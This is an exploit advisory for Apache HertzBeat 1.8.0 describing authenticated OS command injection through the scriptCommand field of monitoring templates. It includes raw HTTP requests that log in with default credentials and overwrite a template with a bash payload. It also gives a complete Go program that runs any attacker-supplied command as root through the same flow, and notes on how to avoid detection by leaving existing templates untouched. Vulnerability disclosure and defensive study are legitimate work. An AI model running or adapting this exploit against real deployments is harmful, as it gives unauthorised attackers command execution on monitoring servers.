# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2026-03-09
# Exploit Author: Brett Gervasoni
# Vendor Homepage: https://hertzbeat.apache.org/
# Software Link: https://github.com/apache/hertzbeat/releases
# Version: 1.8.0
# Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)
# CVE: N/A
================================================================================
METADATA
================================================================================
Severity: CRITICAL
Impact: Arbitrary command execution via monitoring template (script protocol)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0)
Affected Component: ScriptCollectImpl.collect()
Affected Endpoint: PUT /api/apps/define/yml
Authentication: Required (standard user or admin)
Note: Apache Security does not classify this as a vulnerability; see HertzBeat
security model: https://hertzbeat.apache.org/docs/help/security_model/
================================================================================
VULNERABILITY SUMMARY
================================================================================
HertzBeat allows arbitrary OS commands to be executed via the scriptCommand
parameter in a monitoring template definition.
An authenticated user can overwrite a monitoring template definition via
PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job.
When the YAML specifies protocol: script, the attacker-controlled scriptCommand
string is passed to ProcessBuilder (bash -c "<command>") without sanitization.
If the overwritten template has active monitoring instances, updateAppCollectJob()
re-dispatches them, triggering execution within seconds. If none exist, the
attacker can create one via POST /api/monitor to trigger immediate execution.
The default Docker deployment runs the process as root (uid=0).
================================================================================
VULNERABLE CODE (REFERENCE)
================================================================================
Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution:
public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
ScriptProtocol scriptProtocol = metrics.getScript();
// ...
if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
switch (scriptProtocol.getScriptTool()) {
case BASH -> processBuilder = new ProcessBuilder(
BASH, BASH_C, scriptProtocol.getScriptCommand().trim()); // payload
// ...
}
}
// ...
Process process = processBuilder.start(); // executed
}
YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML
gadget strings, not shell command injection:
private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
"ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
"GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
"GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory",
"XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream",
"InflaterOutputStream", "FileOutputStream"};
================================================================================
PROOF OF CONCEPT — RAW HTTP
================================================================================
Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a
standard user "operator" / "hertzbeat" (user role); admin with default
password also works.
--- Step 1: Authenticate ---
POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json
{"type":1,"identifier":"operator","credential":"hertzbeat"}
Response: data.token (JWT) — use as Bearer below.
--- Step 2: Overwrite linux_script template ---
PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json
{"define":"app: linux_script\ncategory: os\nname:\n en-US: Linux Script\n zh-CN: Linux Script\nparams:\n - field: host\n name:\n en-US: Host\n zh-CN: Host\n type: host\n required: true\nmetrics:\n - name: basic\n i18n:\n en-US: Basic\n zh-CN: Basic\n priority: 0\n fields:\n - field: result\n type: 1\n i18n:\n en-US: Result\n zh-CN: Result\n protocol: script\n script:\n scriptTool: bash\n charset: UTF-8\n scriptCommand: id > /tmp/pwned\n parseType: multiRow\n"}
Decoded define (YAML):
app: linux_script
category: os
name:
en-US: Linux Script
zh-CN: Linux Script
params:
- field: host
name:
en-US: Host
zh-CN: Host
type: host
required: true
metrics:
- name: basic
i18n:
en-US: Basic
zh-CN: Basic
priority: 0
fields:
- field: result
type: 1
i18n:
en-US: Result
zh-CN: Result
protocol: script
script:
scriptTool: bash
charset: UTF-8
scriptCommand: id > /tmp/pwned
parseType: multiRow
Expected response:
HTTP/1.1 200 OK
Content-Type: application/json
{"code":0,"msg":null,"data":null}
--- Step 3: Create monitor (if no linux_script monitors exist) ---
POST /api/monitor HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json
{"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}
--- Step 4: Verify (example: Docker) ---
docker exec hertzbeat cat /tmp/pwned
Expected:
uid=0(root) gid=0(root) groups=0(root)
================================================================================
EXPLOIT CODE — script_command_rce.go (Go)
================================================================================
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"math/rand"
"net/http"
"os"
"strings"
)
const target = "http://localhost:1157"
type authResponse struct {
Code int `json:"code"`
Data struct {
Token string `json:"token"`
} `json:"data"`
}
type apiResponse struct {
Code int `json:"code"`
Msg string `json:"msg"`
}
func main() {
if len(os.Args) < 2 {
fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0])
fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0])
os.Exit(1)
}
cmd := strings.Join(os.Args[1:], " ")
fmt.Println("============================================================")
fmt.Println(" HertzBeat ScriptCollectImpl RCE")
fmt.Println("============================================================")
fmt.Println()
fmt.Println("[*] Authenticating...")
token, err := authenticate()
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
os.Exit(1)
}
fmt.Printf("[+] Got token: %s...\n\n", token[:40])
fmt.Println("[*] Overwriting linux_script template...")
fmt.Printf(" PUT /api/apps/define/yml\n")
fmt.Printf(" scriptCommand: %s\n", cmd)
err = putMaliciousDefine(token, cmd)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err)
os.Exit(1)
}
fmt.Println("[+] Template overwritten.")
fmt.Println()
fmt.Println("[*] Creating monitor instance to trigger collection...")
fmt.Println(" POST /api/monitor with app: linux_script")
err = createMonitor(token)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err)
fmt.Println("[*] This may fail if a monitor already exists — checking anyway...")
} else {
fmt.Println("[+] Monitor created.")
fmt.Println()
}
fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.")
fmt.Printf("[+] Command: %s\n\n", cmd)
fmt.Println("[*] Verify with (assuming its running in docker locally):")
fmt.Println(" docker exec hertzbeat <check your payload>")
}
func authenticate() (string, error) {
body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`
resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
if err != nil {
return "", err
}
defer resp.Body.Close()
var result authResponse
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
return "", err
}
if result.Code != 0 || result.Data.Token == "" {
return "", fmt.Errorf("unexpected response code %d", result.Code)
}
return result.Data.Token, nil
}
func putMaliciousDefine(token, command string) error {
define := fmt.Sprintf(`app: linux_script
category: os
name:
en-US: Linux Script
zh-CN: Linux Script
params:
- field: host
name:
en-US: Host
zh-CN: Host
type: host
required: true
metrics:
- name: basic
i18n:
en-US: Basic
zh-CN: Basic
priority: 0
fields:
- field: result
type: 1
i18n:
en-US: Result
zh-CN: Result
protocol: script
script:
scriptTool: bash
charset: UTF-8
scriptCommand: "%s && echo result done"
parseType: multiRow
`, command)
payload, _ := json.Marshal(map[string]string{"define": define})
req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
var result apiResponse
if err := json.Unmarshal(respBody, &result); err != nil {
return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
}
if result.Code != 0 {
return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
}
return nil
}
func createMonitor(token string) error {
suffix := randSuffix()
name := fmt.Sprintf("rce-poc-%s", suffix)
body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name)
req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
var result apiResponse
if err := json.Unmarshal(respBody, &result); err != nil {
return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
}
if result.Code != 0 {
return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
}
return nil
}
func randSuffix() string {
const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
b := make([]byte, 8)
for i := range b {
b[i] = chars[rand.Intn(len(chars))]
}
return string(b)
}
================================================================================
NOTES
================================================================================
- A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is
not required for the described flow.
- A new custom app name (e.g. app: rce_custom) can be registered with POST
instead of PUT to avoid overwriting an existing definition; then create a
monitor for that app.
================================================================================
DISCLOSURE / VENDOR RESPONSE (SUMMARY)
================================================================================
Apache Security indicated this aligns with the documented security model: only
trusted operators should receive accounts; customization is intentional.
Role-based permission controls are still evolving; see vendor documentation.
Reporting timeline:
- 2026-02-19: Reported to Apache Security
- 2026-02-19 to 2026-03-04: Discussion on post-authentication issues
- 2026-03-04: Apache position communicated (risk accepted per security model)
- 2026-03-09: Public advisory